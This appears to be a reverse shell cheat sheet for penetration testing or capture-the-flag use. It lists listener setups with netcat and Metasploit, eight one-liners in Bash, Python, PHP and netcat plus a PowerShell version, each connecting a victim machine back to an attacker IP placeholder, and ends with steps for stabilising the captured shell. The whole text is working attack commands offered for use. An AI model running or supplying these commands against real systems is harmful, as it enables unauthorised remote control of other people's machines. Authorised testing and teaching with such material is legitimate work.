Catching a Shell
Standard listener
nc -lvnp 4444
rlwrap for arrow keys / history in nc
rlwrap nc -lvnp 4444
Metasploit multi handler (for staged payloads)
msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <YOUR-IP>; set LPORT 4444; run"
The 8 Essential Reverse Shells
1. Bash TCP
bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1
2. Bash TCP (alternate · works when >& is filtered)
bash -c 'exec bash -i &>/dev/tcp/<YOUR-IP>/4444 <&1'
3. Python3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR-IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'4. Python2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR-IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'5. PHP (works via webshell or command injection)
php -r '$sock=fsockopen("<YOUR-IP>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'6. PHP (alternate · shell_exec version)
php -r '$sock=fsockopen("<YOUR-IP>",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'7. Netcat (when -e flag is available)
nc <YOUR-IP> 4444 -e /bin/bash
8. Netcat (mkfifo · when -e is not available)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <YOUR-IP> 4444 >/tmp/f
PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<YOUR-IP>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Shell Stabilization (Linux)
Method 1: Python PTY (most reliable)
On victim:
python3 -c 'import pty; pty.spawn("/bin/bash")'Press Ctrl+Z to background
On attacker:
stty raw -echo; fg
Press Enter twice
On victim:
export TERM=xterm
stty rows 38 cols 151 # match your terminal size
Method 2: Script
/usr/bin/script -qc /bin/bash /dev/null
Then do the stty raw -echo; fg dance above
Method 3: socat (best quality · requires socat on victim)
Attacker · start listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim · connect back:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<YOUR-IP>:4444